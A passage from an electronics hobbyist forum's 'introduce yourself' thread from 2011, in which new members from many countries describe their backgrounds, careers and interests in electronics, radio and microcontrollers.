For now one simple bench power supply, simple DMM and Rigol DS1052 is enough for me.

Greetings,
Piotr

Title: Re: New Member, Please introduce yourself
Post by: lameiro on June 10, 2011, 11:57:25 am
Hi,

My name is Ricardo, I am from Portugal and I am a Musician. I studied before college electronics, but now it is kind of my hobby.
I am interested in interface phisical world with electronics and use it on musical / artistic performances.

my identi.ca handle is @rlameiro  twitter is @ricardolameiro

bye
Title: Re: New Member, Please introduce yourself
Post by: CyberWalker on June 11, 2011, 11:15:36 pm
Hello to everyone!  ;D

This is Ioannis, I am 30 years old and a post-graduate student with a degree in "Electronic and Computer Engineering Department" of the Technical University of Crete/Greece.

My hobby has been electronics since I was at the age of 8, so I kinda always knew what I wanted to become when I grow up! ;D

I have developed quite frankly some dozens of really nice projects since then but a have kept only a small portion for myself. Most of them were donated to my friends or have been "TAKEN APART" just to re-construct them into something new! I have the strongest childhood memories from the times that I had to construct the mechanical part of the equipment with only a bunch of trivial tools and ratty materials!
These were the best times for me because I had to invent sophisticated and witty designs to overcome all kind of problems, mainly electro-mechanical in nature.

My closest friends from HighSchool used to call me either a crazy-scientist or 'Gyro the Gearloose', like the Disney duck!, which they sometimes meant is a rather befooling way but I didn't mind! I took pride in all my little effort for success... I knew that after a great 'boom' comes a great 'wow!!!'  ;D :P
Title: Re: New Member, Please introduce yourself
Post by: Pickers on June 11, 2011, 11:30:31 pm
Hello all,

My name is Kris and I'm from the UK! Electronics has been a major hobby of mine as far back as I remember, I started off with one of those simple safety electronics kits and went from there! Designed and built a few simple circuits and restored a load of vintage kit. I'm currently looking to expand my knowledge and gain the qualifications necessary to advance my career and hobby a bit. I've decided to go to university and study electronic engineering with the hope to get me on the right path to a decent job... Well that and to justify the purchase of some nice kit for my workshop :-).

Cheers
Kris.
Title: Re: New Member, Please introduce yourself
Post by: Vertigo on June 12, 2011, 08:56:41 pm
Hi, i'm just starting electronics as a hobby and found this place via youtube.
i'm into tabletop robotics and i want to build some BEAM robots to begin with.
since i cant find any real active forums on that, i hope to chat with some other
BEAM makers on here.
Title: Re: New Member, Please introduce yourself
Post by: westfw on June 13, 2011, 09:55:23 am
My name is Bill Westfield.  I'm an EE by education (BSEE UPenn), but have spent the last 30 years or so doing software development for the computer networking industry, mostly at the relatively low level.  More recently I retired and have been attracted to Arduino and similar "educational products"; I've currently taken up the task of supporting the Arduino project's copy of the optiboot bootloader firmware, and plan to do a bunch of similar small things that don't involve many layers of beaurocracy and pain...

One of my goals in is to get FTDI's Vinculum 2 chip to do interesting things.  It pisses me off that I can get BT or 802.11 for $10 for my laptop (USB connection) but a theoretically simply device to talk SPI to my microcontroller is 5 to 10 times more expensive.  Grr.  Vinculum 2 looks like it might be able to help fix that, but FTDI seems to be hiding details of how things work.  That may put it right up my alley/skillset.  squeezing results out of obscure and poorly documented hardware.  Yeah.

I was WestfW back in college (first 5 letters of your last name, first letter of your first name, standard algorithm.)  WestfW@Wharton-10  Later I was billw@mit-xxx (guest account) billw@sri-kl.arpa, billw@simtel20.msmr.army.mil, billw@score.stanford.edu, (and etc), and then billw@cisco.com for a LONG time.  But "billw" was popular out in the real world, and was already take on most of the public email systems, so I settled for going back to WestfW, which seems to have pretty good search properties!
Title: Re: New Member, Please introduce yourself
Post by: DevilMKD on June 15, 2011, 10:54:08 am
Hi,
My name is Goran and I am an electrical engineering student, I have just finished my high school, and now I'm going to apply for an university.
I am mostly interested in PIC microcontrollers.
Now I'm design an DDS signal generator with PIC16F887 control, but first I need to repair my PicKit2 :)
See you,
Goran
Title: Re: New Member, Please introduce yourself
Post by: gregariz on June 16, 2011, 12:17:34 am
I'm Greg,

I've been watching the EEVblog for a few months on and off now. I'm 37 and suspect not too different in age/background to Dave. I also grew up in Australia and read most of the same mags (ETI, AEM and EA), having been a hobbyist since primary school. Unlike Dave I grew up in the sticks so most of my attention was paid to radio's and how to design them and improve performance. I must have built at least a hundred kits between primary school and high school including just about every funway kit in the books plus a bunch of magazine, tandy and talking electronics bugs. In my teenage years I then moved on to the Microbee.

At Uni I concentrated back on the radio side and stayed in Uni for too long ending up with a PhD in RF. I then moved to the US as I found the job situation in Australia a little poor for what I was doing - either that or I was overqualified by then. Now I live and work as a practicing engineer in Arizona but am still a radio and electronics hobbyist nut, keeping a lab at home and tinkering most days, so I guess I'm proof that you can be academic, practical and a hobbyist, so never fear!

Anyways, thanks to Dave for this forum, its good to see so many passionate about electronics.

Title: Re: New Member, Please introduce yourself
Post by: Semantics on June 17, 2011, 12:30:48 am
Hello, I'm a 31 year old from Florida, USA. My formal education was in Comp. Science which makes me a software guy as my primary class. I've been attracted to hardware and software as a kid and I just plain didn't have the space for getting serious into hardware. ;D As a kid I've built and played with electronics kits and did some very basic wiring stuff with arcade boards and computer hardware but that was about as far as I got. Now that I'm older I wanted to revisit that part of me and, well, with electronics information so much more accessible today than 21 years ago (and the square footage to get real equipment) now's as good a time as any!
Title: Re: New Member, Please introduce yourself
Post by: Madman on June 18, 2011, 03:21:33 pm
Hi Dave and all members of the forum,

I am Pierre, aka Madman, from Switzerland. I am a full-time trainer for traffic controllers. My other interests include modelling, watch making, photography and motor biking. I was a real dummy in electronics until I discovered Dave's blog. This triggered a resolution to become less dumb, and that's why I am here. Please do not kick me out immediately, I promise to learn quickly.

I will start by reading though your recent posts, and find an appropriate place to show you my workbench.

Best regards to all,
- Pierre Madman
Title: Re: New Member, Please introduce yourself
Post by: Dataforensics on June 21, 2011, 11:49:39 pm
Hello, my name is Tony. For the last 25 years I have been employed in computer forensics. Before that it was elecronics/radio research and development. I am trying to re-kindle my interest in electronics and even perhaps start using my amateur radio callsign again. First off I need to repair my oscilloscope rescued from my loft.

Tony G8KLR
Title: Re: New Member, Please introduce yourself
Post by: vk6zgo on June 22, 2011, 03:05:26 am
Hi Tony,
I hope you do become active in Amateur Radio again,as it is still a lot of fun,even for OFs like myself. :)
What brand/model of Oscilloscope do you have?

Bryan VK6ZGO
Title: Re: New Member, Please introduce yourself
Post by: Precisiontools on June 22, 2011, 12:11:28 pm
Hi all

Have been in the electronics game for about 22 years. First as a tech, then development and now looking into some new things. Found Dave's vids interesting and entertaining so now here we are!

Cheers.
Title: Re: New Member, Please introduce yourself
Post by: Retro on June 22, 2011, 11:04:30 pm
Just saying Hi..
Title: Re: New Member, Please introduce yourself
Post by: kwkarth on June 23, 2011, 06:00:05 pm
Greetings everyone, from sunny Oregon, USA!
Dave, I saw one of your VBlogs and liked your style.  I've been a lifelong nerd, mostly interested in audio electronics and acoustics.
I am semi-retired.  I spent many years in the Television Engineering group of a famous T&M instrument manufacturer of yesteryear, and several years managing an engineering group for the world's largest uprocessor manufacturer.  I worked for a time for a world famous cable manufacturer as their headphone and digital life products manager.  I am active in the headphone audio world through various manufacturers and through the "head-fi.org" forums.

I'm looking forward to spending time on your forums and to your forthcoming VBlogs.

Cheers!
kw
Title: Re: New Member, Please introduce yourself
Post by: CodeDog on June 24, 2011, 11:37:38 pm
Hi all, my name is Mark and I'm an EE (graduate of 1984). I grew up in Brisbane, now live in Melbourne and cut my teeth on a steady diet of Electronics Australia and ETI mags in the seventies. First major project was the 'miniscamp' microcomputer in 1978 - an 8-bit micro programmed via toggle switches and had a massive 256 bytes of memory.

How things have changed!

cheers,
 
Title: Re: New Member, Please introduce yourself
Post by: Seeker7 on June 25, 2011, 10:30:52 am
Hi everyone, I'm Andrew, I'm in New Zealand.  I have no electronics experience whatsoever, other than messing around with old school volt/amp-meters in physics,  a *long* time ago!

I've been pointed to this site from garagejournal.com when asking about multimeters.  I have a car that I want to be able to do work on, and am looking for basic test equipment - multimeter, test light, etc.  I also want to ultimately get a variable power supply, soldering iron, and the rest - I love my toys/tools!
Title: Re: New Member, Please introduce yourself
Post by: Rousenator on June 26, 2011, 08:00:00 am
Hello - Time to do alot of reading!
Title: Re: New Member, Please introduce yourself
Post by: willd1971 on June 27, 2011, 03:15:22 pm
Hi I'm William,

I'm a product development professional with more than 10 years experience in electronics, software, mechanics - basically anything that goes into modern technical product development.

Having been frustrated by the lack of easy availability of far east brands in the UK and Europe I recently set up my own business to bring these items to the local market, partly because I want to be able to use good quality low cost equipment in my own lab, and also because I'm sure there's many other people out there like me who would like to see some variety in the local offerings.

William
http://www.labtronix.co.uk
Title: Re: New Member, Please introduce yourself
Post by: ipman on July 01, 2011, 06:07:37 am
Hello all.

I'm an electronic tehnician, but also engineer in industrial automation by training. I am from Romania, living in the capital city Bucharest.
Now I work in telecom, just loosely related to electronics, but ... here we don't have an electronic industry at all.

I started with electronics when I was around 10 years old, when our country was in comunist era. Some time in my life I had to leave alone my hobby, other times I was attracted ... but I collected several tools and meters during the time, which I still own and use with great pleasure.

Nice to meet all of you.
Title: Re: New Member, Please introduce yourself
Post by: ChristofferB on July 05, 2011, 11:11:45 pm
Hello, i'm Christoffer from Denmark. I work with electronics of interest (havent attended any form of education in the subject.) I've been interested in electronics for about 7 years, stopped some years ago, and now i've started again, more agressively. Im building my lab, and so far i have almost everything i need concerning instruments, tools and components (got very lucky at flea markets). heard about the EEVblog from www.hackaday.com (http://www.hackaday.com), and am watching the updates regularly. My main interests is in RF electronics and digital/microcontroller stuff.
 
Title: Re: New Member, Please introduce yourself
Post by: James on July 07, 2011, 12:48:01 am
Hi, my name is James, I live in Australia. I grew up with a passion for electronics and pulling things apart to see how they work! This passion soon became the center of my studies where I am currently in my last 13 weeks of Yr12 (school). If all goes well I will be studying electrical and electronics engineering at one of the three universities in Adelaide.

From when I was younger to now my passion for electronics has leant towards electronic design engineering and this is what I would love to do for a career! In a way I have already started with this career as I am the designer behind an agricultural project (which I'm not allowed to say too much about!:( ) working on the hardware and software. This has been a fantastic project so far as it has given me a true insight into digital and analogue, intergrated and embedded electronics systems.

Anyway thats enough about me! I'll go and read the forum,

James
Title: Re: New Member, Please introduce yourself
Post by: walcen on July 07, 2011, 02:44:02 am
Hi every one, I'm Walter and I hope to be able to contribute to the forum rather that just leach. Thanks for your multimeter tute's Dave.
Title: Re: New Member, Please introduce yourself
Post by: michaelc on July 07, 2011, 06:51:58 am
My name is Michael.

 I have few few formal qualifications, I am mostly self taught.

I have Been employed in the electronic/radio comms industry for over 22 years.  Been living and breathing electronics, computers, audio, amateur radio, home theatre etc. for as long as I can remember.  I can remember getting electronics kits to build in my early primary school days, I have vivid memories of my Dad building a multimeter from a kit when I was four or five years old. My Dad was big into photography and loved CB radio.

While I was still at high school I designed an interface to connect the physics lab air track optical sensors to my Commodore 64 computer joystick port. I wrote simple programs to quickly show the results of conversation of momentem/collision experiments and also acceleration experiments... this was back in the day when personal computers were very much a novelty and the people in the computer club were nerds!
Towards the end of high school I built a small wheeled robot that was under (wired) control of the C64. I had one of the early West German Commodore 64 computers, the one with the socketed IC's... I don't know how many CIA chips I blew up and it was great to just plug in a new one!  Built a TEC-1 (Talking Electronics Computer magazine) Z80 computer and had some fun with simple low level programming as well.
Always had plenty of Electronics Australia, ETI, Silicon Chip, etc magazines on hand for reading.  I still have issues from the 70's and 80's that I love looking through.

Got involved with amateur radio in the early 90's, about the same time I arrived at my current job. Originally based in install/servicing pro marine electronics (radar, sonar, GPS) back in the days when a GPS receiver was a $9K plus investment and it only worked for a handful of hours in the day. I still have an $18K JRC JLR-4000 GPS receiver around here somewhere! The company I work for has expanded into all kinds of things... radio comms (private and commercial broadcast), satellite comms, industrial electronic design and repair, industrial and commercial electrical... one day I might be reparing an old Philips FM320 UHF CB, the next I might be on a private plane heading off to a faraway port to work on a fishing boat. My work used to take me from the depths of the bilge to the top of the mast.

More recently I have been getting into digital amateur radio and using the internet to link radio systems. Love the D-Star system, had an IRLP node operational for around 10 years, built my own GMSK digital radio repeater system, I have fun with APRS, the house is full of Clipsal C-Bus home automation gear, my Toyota Hilux is crammed full of amatur radio equipment, I love movies and my home theatre with 130" 2.37:1 cinemascope screen and 1.33x anamorphic projection systems gives me a "just like the movies" experience at home.  I've set up a community WiFi system using an abandoned 2.3GHz MDS transmit antenna on a 45m tower, back in the days before widespread ADSL it was a haven for the local gaming community. I've set up short and long range WiFi links, experimented with radio telemetry systems... decoded telemetry from high altitude balloons, I've spoken to Dr. Andy Thomas via amateur radio when he was orbiting the earth on the MIR space station.

I love tech stuff... all tech... computers, networks, embedded systems, wireless comms, encryption, voice codecs, circuit design, programming  and the list goes on... But I've already taken up too much room.

Michael
Port Lincoln
Title: Re: New Member, Please introduce yourself
Post by: lukestuts on July 07, 2011, 04:52:50 pm
Hello EEVblog forum, my name is Luke Stutters and I watch Dave's videos on Youtube.
Title: Re: New Member, Please introduce yourself
Post by: lavo-1 on July 09, 2011, 03:23:41 am
Ello from UK...but I'm currently on an oil rig in the middle of the North Sea. ???

I'm a ROV pilot/Technician currently working in the Oil Ind.
I'm a qualified in Electrical Engineering to HNC level and have worked in the Commercial and Domestic Electrical trade for 22 years.
Found this forum through Daves YouTube bloggs which allways have a way of inspiring me to go further into the electronic side of work (I mostly deal with HV three phase electrics).

Keep up the Bloggs Dave and to everyone who contributes to this forum, WELL DONE. 8)
Title: Re: New Member, Please introduce yourself
Post by: FenderBender on July 15, 2011, 07:23:50 pm
Hey,

My name is Tim. I'm 18 years old, from New Jersey, USA. Just started with electronics about a year and a half ago, but I'm really getting into it. Glad I can be a part of this.
Title: Re: New Member, Please introduce yourself
Post by: eejim on July 16, 2011, 12:06:51 am
Hi, I'm Jim from NJ.  I have an EE degree but work in Power distribution, not electronics.  However, electronics is my  hobby.  I worked on a few robots in college, which was alot of fun, but that was 6 years ago.  I am finishing my basement and am creating a space where I can work on electronics.

I look forward to chatting with and learning from others in this environment.
Title: Re: New Member, Please introduce yourself
Post by: sean87 on July 21, 2011, 08:54:13 am
Hi all,

I am Sean almost 24 from Netherlands. At the moment I am a last year student of electrical engineering. But I regret why I didn't pay attention to practical side of my studies till a while ago which I happen to see Dave's videos. I am a pretty good student in theroy subjects (Passed all subjects with top grades :P) But when it comes to practice, eveb making a LED to blink I S.ck at it!!! Anyway Since I got to know EEVBLOG videos I really got motivated to do some serious stuff...specially the Dave video about job interview. And when I saw his video about setting up a electronics lab, I spent all my savings on buying some serious stuff (Although I have access to very high end stuff at university...I just wanted to look more profetional in the eyes of friends, family etc..). Hope I can use them in a good way!

I am also doing programming (I can do C and C# programming waaaay much better than my electronic power).

Anyway, glad to be here to learn and get some experience from elder engineers and guys!
Title: Re: New Member, Please introduce yourself
Post by: terkng on July 25, 2011, 04:40:32 am
Hi everyone,

I am TK from Singapore. I am in software development all these while (> 10 years) though I had taken some electronics courses during my university days. I have always been fiddling around with tinkering with electronic toys and repairing stuff around the house. Thanks to Dave and EEVblog, I am enjoying myself getting back into electronics for the past few months and moving forward, I am planning to embark on some small projects during my spare time.

Looking forward to spending more time on the EEVblog forums  ;D

Cheers,
tk
Title: Re: New Member, Please introduce yourself
Post by: topcat on July 31, 2011, 01:45:31 pm
Hi All,
I’m TopCat. I studied electrical engineering but never worked in the field. Lately I have become interested again in microcontrollers, radio, and the blog of course.
Title: Re: New Member, Please introduce yourself
Post by: Flapjackbatter on August 02, 2011, 12:29:26 pm
Hi, Flapjackbatter here.
From Norway.
I am not educated in electronics. It is a hobby.
I am mostly into analogue electronics, but have started to fiddle around with microcontrollers. (Who hasn't these days. : |
Title: Re: New Member, Please introduce yourself
Post by: ablacon64 on August 02, 2011, 02:12:44 pm
I'm from Brazil, not really into design but I like electronics a lot. I'm into computer and notebook mainboard repair/maintenance with 10 years of experience in the field.
Title: Re: New Member, Please introduce yourself
Post by: donbrenrik on August 02, 2011, 07:09:53 pm
Hello from central MA area.  I am a retired Computer Field service Engineer age 75.  Worked for Burroughs; RCA; Data General and Fenwal Safety Systems.  Trying to stay active in electronics; presently rebuilding  a
6 digit B7971 Nixie Clock using MM5314N IC.  Bought these Nixie tubes from Meshna years ago.  Looking forward to visiting the site often.  Bye for now.
Title: Re: New Member, Please introduce yourself
Post by: marcosgildavid on August 04, 2011, 11:08:28 am
I'm from Portugal, i work as a Developer, DBA and SysAdmin. I'm trying to finish an Electrotechnical engineering degree on the side and I'm getting into electronics in order to  broaden my knowledge :D

LinkedIN: http://pt.linkedin.com/in/marcosdavid (http://pt.linkedin.com/in/marcosdavid)

Title: Re: New Member, Please introduce yourself
Post by: hodx on August 09, 2011, 11:23:43 pm
It took me a while , but i'm here now....mostly due to Dave Jones...finally a man who tells it like it is....My name is Herman and i', from Maryland in the USA...been tinkering with electronics since tubes(valves)....now microcontrollers are my new toys,next i want to get into animatronics and hack toys...Hey Dave more FPGA stuff
Title: Re: New Member, Please introduce yourself
Post by: Glocal on August 14, 2011, 10:17:11 am
Helloooo everyone! 
I am me from Sweden and EE strudent and I love the blog.
Title: Re: New Member, Please introduce yourself
Post by: TT89 on August 16, 2011, 05:27:36 pm
Hello everyone,

I'm an EE student from Finland, Turku. Age 22, next week beginning my second year on 4 years study to Bachelor of Engineering. After a half year of studying it seems that electronics has become so big part of me that I can call it a hobby too. Love building stuff, experimenting and really enjoy the physics aspect of electronics and electricity. Love the blog, with it's information and engineering way of humour.  ;D
My keen interests are electric vehicles, radio controlled planes and computers (esp. on the hardware side).

Regards,

TT89
Title: Re: New Member, Please introduce yourself
Post by: SuperJeep on August 18, 2011, 06:46:05 am
Hi everyone, I'm an electronics engineering student from Canada (ehy) and discovered this forum through the eevblog. I signed up to hopefully learn something about building cool hobby circuits and learn about the world of micro controllers since I have zero experience with them....yet!
Title: Re: New Member, Please introduce yourself
Post by: ciccio on August 18, 2011, 08:05:58 am
Greeting to everyone
My name is Maurizio.  I live in Italy , and I am a self-employed engineer.
I make a living by manufacturing intercom systems for the entertainment industry, an designing OEM commercial audio devices.
Sometimes I write technical documentation and user and maintenance manuals for customer Companies,  both in Italian and English (and sometime French).
I'm a Chartered Engineer and also a Certified Environmental Acoustic technician, so I do environmental and workplace noise assessments, and produce the relevant documentation.
I have an university degree in Nuclear Engineering, but I've always worked in electronics, both audio and industrial (temperature, pressure and humidity measurement and control).
I also have a good experience in overseas installation work, having worked in  Africa for many months installing sound systems in public places, churches and mosquees.
Title: Re: New Member, Please introduce yourself
Post by: Dieselrunner88 on August 27, 2011, 04:45:00 pm
Hi everyone I am a public bus technician with a background in electronics.  I am always fascinated in how electronic devices can stand such an abusive environment and yet fail so easily.  I am an American from North Carolina.   I tinker with electronics mostly failure analysis.
Title: Re: New Member, Please introduce yourself
Post by: Keith on August 28, 2011, 12:32:20 am
Hello All - Keith from PA. I have pulled all my gear out of storage, just completed building my bench(30" x 8'). I'm not doing EE for a living although I'm formally trained. I simply miss it. Looking forward to interacting with you all....regards
Title: Re: New Member, Please introduce yourself
Post by: dumpystig on August 29, 2011, 10:30:06 pm
Hi folks,
            My name is Mark, I live in the UK, and I've been an electronic hobbyist/DIY'er since my early teens. No formal electronics training (although I'm an electrician by trade) but I've got by over the years fixing/adapting/building/modding a multitude of differing circuits, projects, parts etc..

I'm looking forward to getting involved in this site, hopefully I may be able to help someone along the way.

Title: Re: New Member, Please introduce yourself
Post by: Kozmyk on August 29, 2011, 11:47:37 pm
Apologies
I just realised that I'd missed this "Introduce Yourself" post. So belatedly:
I'm retired now, I used to be a sound engineer - live and studio, had a modest PA rig of my own and worked for bigger rigs.
I've designed and built recording studios, been a college technician, field service engineer and a TV production line repair technician.
Invented and designed a few things, none of which made me rich.
All the while chasing the impossible dreams of a rock musician (bass guitar mainly) and avoiding the restrictions of general consensus reality wherever possible ;-)
I used to enjoy a bit of target shooting, won a few medals; but my mobility problems aren't really conducive to that these days.  :(
Recently I've been mucking about with RC models, revisiting an old hobby from when I was a boy. Helis, planks, boats and 1 truck.
I do the odd EE project for my own amusement, occasionally I get roped in on an industrial project by mates still in the industry.

Found EEVBlog through YouTube and RCModelReviews when looking for a scope.
Title: Re: New Member, Please introduce yourself
Post by: Computeruser on August 30, 2011, 12:10:27 am
Hello All,

I have been looking around EEVBlog and just joined. I hobby (a bit) in electronics and join the electronics hobby with my model railroad. I found EEVBlog while researching a Tek TDS2024C oscilloscope that I finally purchased. It is a fine instrument and I like it very much.    .... C
Title: Re: New Member, Please introduce yourself
Post by: Stiege on August 30, 2011, 01:25:42 am
Hey, I'm Alex, studying Electrical Engineering at Waikato University in New Zealand. 2nd year at the moment but enjoy doing electronics out of the classroom way more than the math and physics we do in lectures.

Looking at doing my first electronic work placement this summer and really looking forward to that. If anyone has any positions free I can send my CV in!!! Was in the Army for 4 years as an officer before leaving in order to take up full time study.

Cheers

Alex
Title: Re: New Member, Please introduce yourself
Post by: robrenz on August 30, 2011, 02:18:41 am
Hello everyone,  I am a journeyman machinist/mechanical engineer with a business designing and manufacturing precision spindles and grinding equipment.  I am a wannabe when it comes to the electronic end of things but I am working hard at getting up to speed. EEVblog is definitely a big help. The agilent scope  is what led me to this site.  I was hooked! I went back and watched every episode until i was caught up.  Thanks Dave.
Title: Re: New Member, Please introduce yourself
Post by: SlimShader on August 31, 2011, 07:44:54 am
Hi all!

My name is Colin, and I live in Russia, just south of Moscow, although I'm actually British.
I studied electronics design at college, but moved into PC maintenance and repair early in my career and haven't touched a soldering iron for 20 years. Watching Dave's EEV blog and stuff like Make Magazine have reminded me how much I enjoyed tinkering and building in electronics, so I'm in the process of putting a workshop together to allow me to re-learn all the good stuff I've forgotten and make some nice electronics projects for myself.

See you all on the forum!

Colin
Title: Re: New Member, Please introduce yourself
Post by: vlelet1969 on September 01, 2011, 02:42:32 am
Hello everyone,

I'm from NYC and a certified early childhood education teacher. I used to dabble in hobby electronics and finding this forum brought back the itch to have an electronic project again. Many years ago, I successfully built my small version of a stereo amplifier based on the schematics of a popular car stereo amplifier.

I'm looking forward to learn from and share with other members of this forum.

 :)
Title: Re: New Member, Please introduce yourself
Post by: ThePranksta on September 01, 2011, 02:49:09 pm
Hi all. Helgard from Cape Town, South Africa. Studied EE and Computers Sciences at Stellenbosch University.  Been in the industry for almost 4 years mostly doing firmware/embedded programming and hardware design assistance on low power rf products and GSM products.

Interests in anything electronic, especially anything that goes KNACK, BANG and BOOM!  ;D
Title: Re: New Member, Please introduce yourself
Post by: bullet308 on September 07, 2011, 10:05:56 pm
Hi, I am in South Carolina, USA. I have dabbled in electronics since my father taught me how to solder when I was seven. Several decades later, I am trying to actually learn how this stuff works in some detail and depth. My personal interests are related to radiation metrology (Geiger counters, scintillation detectors, etc). The main thing characterizing these devices is the need for a low-voltage side to receive, process and display information from the high-voltage side without getting fried. Anyway, I am playing with  Atmel microcontrollers to do the bulk of the low voltage processing and display stuff. Love Dave's blog!  :-) Thanks!
Title: Re: New Member, Please introduce yourself
Post by: pedro48 on September 15, 2011, 11:49:35 am
hello from sunny australia... been on the planet long enough for anti-oxidants to be important... and have a broad interest in the field, have a collection of trs-80's, a 1936 Stromberg Carlson and currently messing with arduinos..building a microcontroller bird bath/water feature .. just bought an analogue scope, and about to start messing with solar panels at scale,  played wolfenstein yesterday ... you should try it ... good for your heart.

looking forward to the forum...
Title: Re: New Member, Please introduce yourself
Post by: Crenwick on September 15, 2011, 01:51:32 pm
Hello everyone,

I'm from Belgium and studied electronics 25 years ago :-[ . I suddenly decided to come back to pcb's and components with the idee to make a lot of gadgets for my family  :)

I'm now busy with PIC's ...

See you,

Bernard
Title: Re: New Member, Please introduce yourself
Post by: ChrisKiwi on September 16, 2011, 05:57:29 am
Greetings from New Zealand

I have about 20 years electronics industry experience ranging from design, manufacturing, management, testing, and production engineering.  Two and a half years ago I relocated to take up a new job with a tech start up as production engineer.   A number of us ended up being made redundant so I decided to go back to university.  I stumbled across this blog while researching the Rigol DSO's.  My main current interests are instrumentation and control.
Title: Re: New Member, Please introduce yourself
Post by: electrodynatronic on September 17, 2011, 07:47:16 pm
Howdy from Texas.
Title: Re: New Member, Please introduce yourself
Post by: vk6hdx on September 17, 2011, 11:36:17 pm
Greetings from Perth, long time listener to Dave's show and lurker here on the forums.
Title: Re: New Member, Please introduce yourself
Post by: vk6zgo on September 18, 2011, 01:17:47 am
Gooday,VK6HDX,

It's good to see more Hams invading the hallowed halls of EEV Blog! ;D
Are you on QRZ.com,too?

73,VK6ZGO
Title: Re: New Member, Please introduce yourself
Post by: Tin_Courier on September 19, 2011, 03:15:20 am
Hello.  I'm Jeff Ryan in Portland, OR.  Have worked in metal fabrication, gas appliance service, and now ~1 yr into a gig with a custom RF controls company, doing service and modifications on industrial radio remote controls and packages.  Steep learning curve, this.  Slowly getting pretty comfortable troubleshooting our hardware (returns from the field, and production rejects), and have been slowly dipping my toe into reading and modifying existing code (we write in C, compile in Ubuntu, and ICP is done with dataflash hardware designed in-house.

I've had a hobbyist's interest in electronics for some time, but little proper hands-on experience until recently (previously lots of misguided attempts at too-clever DIY electronics projects, several completed kits, a little bit of breadboard time playing with transistors, op-amps, linear stuff with varying degrees of success.

I'm excited to get into a forum.  I don't spend a lot of time on the internet unless I'm actively researching something, but it seems like a great resource for browsing and getting (and giving) ideas.  I have some useful knowledge, but many gaps in my grasp and capabilities (more than I know, I'm sure), and I'm looking forward to getting a better practical sense of the terrain.

As far as the blog, I've jumped around the catalog for a year or two, and just recently started back to watch them in order (still cherrypicking a couple out of sequence) , and I've just watched the (first?) hardware puzzler (with the relays), thinking episode ~35, or around there.  I get a real kick out of Dave Jones (the bit about Assembly programmers (dickheads! ha!)!).  Anyway, hi everybody!

-Jeff Ryan
Tin_Courier

Attached below is backside of a board we make in house.  I didn't have anything to do with developing it, just wanted a picture.
Title: Re: New Member, Please introduce yourself
Post by: HammerFET on September 22, 2011, 12:39:06 pm
Hi all, my name is Raj. I'm from London in the UK, currently studying about a hundred miles west in Bristol. I've just finished second year of my Electrical and Electronic MEng and (hopefully) will be going into third year!

I'm a bit of a audio enthusiast (don't get me wrong, not one of these "audiophools") and I'm also getting into computer systems and trying to integrate smarter electronics into RC models (the long road to robotics!).

I have an obsession with tools and equipment, so much so that my student bedroom has no bed because... I kinda turned it into a workbench...

That's fine though cos I just steal my girlfriends room   :-X . I'm just not aloud to touch anything.

I move around a lot between Uni and home so am always trying to see where I can make things smaller and more transportable. I however still have, what my parents would say, "more sh*t than the average student".

I play guitar, or try to. I listen to anything but pop music  :o however have a strong devotion to METAL!!!

Unlike most metal heads very religious. I believe in SMT and nothing else unless absolutely necessary  ;). Tis the way forward!
Title: Re: New Member, Please introduce yourself
Post by: Mrbrillio on September 22, 2011, 07:53:20 pm
Hi to everyone! :D
I'm from Florence in Italy and i'm an electric engeneering student and a new member of this community.  :D

I'm an hobbyst in electronic from when I started study it in technical high school. Beside i'm also interested in various aspect of "bricolage" especially like wood and metal working.

Otherway i hope to have some good time in this community. ;)
Title: Re: New Member, Please introduce yourself
Post by: BravoV on September 23, 2011, 03:37:13 am
Hi everyone,

Been lurking for quite sometime and finally decided to jump in here.

An electronic enthusiast and love to tinker, aren't we all ? :D

Thanks Dave and Cheers.
Title: Re: New Member, Please introduce yourself
Post by: Lanman on September 23, 2011, 09:01:54 pm
Hello,
Dave from Central California.  I live just east of Clovis up against the Sierra Foothills.  I've been playing with electrons as long as I can remember.  I think the first words I spoke had something to do with Ohm's Law.  My dad was a Mechanical Engineer so he started it.  I started my education as an EE and was recruited by HP's Test and Measurements Div. before I finished college in 1984.  I was a lead tech playing with frequency counters.  I did failure analysis and some product development when needed.  After a short period of time, the bottom fell out of the test & measurements market and I needed a new job so I jumped to HP Labs as a Systems Engineer working on the Spectrum Project.  That changed my focus to Computer Engineering and fortunately for me HP paid the bills.  After 5 years of no sleep, literally almost never a day off, I achieved burnout and left HP.  Since those days, I've done a lot of different things; Telecommunications, Networking, Programing, Database Management, Large Systems Integration & Project Management.  I finally retired in 2004 and have been bored ever since.  Well not quite, but there are days when I miss the work... but not that much.  These days I spend much of my time woodworking, motorcycle riding, and still playing with electrons.   

I was doing some Internet research for a project I've been working on and found the EEVBLOG.  I love Dave's videos so thought I would stick around and see what's up.  A lot of good info here and some interesting projects.  Seems like good stuff all the way around.

Great site you have here Dave!
Dave               
Title: Re: New Member, Please introduce yourself
Post by: pastus on September 23, 2011, 09:15:03 pm
Hi everybody!
I'm Alessandro from Italy.

I'm finshing my master degree in informatic engineer and I'm writing my final thesis on a new type of loudspeaker.

My work/hobby experience range from informatic consultant, network installation and configuration, wirelless bridge (even climb on pilon), radio ham (american and italian licence), repairing audio/video device,  electrical and telephone installator and industrial automation.

I been a research student in my university for one and half year on hydrogen production and storage topic, i went for work to thailand, malesia and taiwan.

I'm a "few time" user of Microchip uC.
I think that's almost all..
sorry for my fast/bad english...

Bye bye
Title: Re: New Member, Please introduce yourself
Post by: Achilles on September 27, 2011, 04:06:39 pm
Hi all around,
I have been reading here from time to time so I decided to join....

I am Sebastian from Germany, student and work in our laboratory for climatology and remote sensing.
I learned sth. like a Physicist, Laboratory Assistent but went on to Geography then. Now I am maintaining the equipment of our lab, so it's like the neverending circle ;)

cheers, Sebastian
Title: Re: New Member, Please introduce yourself
Post by: aard3 on October 04, 2011, 05:52:00 am
Hello from another yank in the states!
Title: Re: New Member, Please introduce yourself
Post by: j3h4 on October 04, 2011, 06:41:02 am
Greetings from Denmark.

I have a major in computer science and a minor in mathematics, but have always been very interested in electronics. I played a lot with bread boards and kits when I was younger. I was also into ham radio at the time.

Now, I am into to the hacker movement, and dabble with all sorts of projects, both analog and digital. I like especially working with MCU's and developing firmware for them. My biggest ongoing project is a quadcopter build, where I try to make as much as possible from scratch.

I have three kids, so much of my time goes into that.
Title: Re: New Member, Please introduce yourself
Post by: macsopals on October 04, 2011, 06:56:19 am
Hi everyone, I am Mac, I own several electronic stuff too. I am glad to be with you guys.
Title: Re: New Member, Please introduce yourself
Post by: JohnnyG on October 04, 2011, 07:35:32 am
Hello everyone,

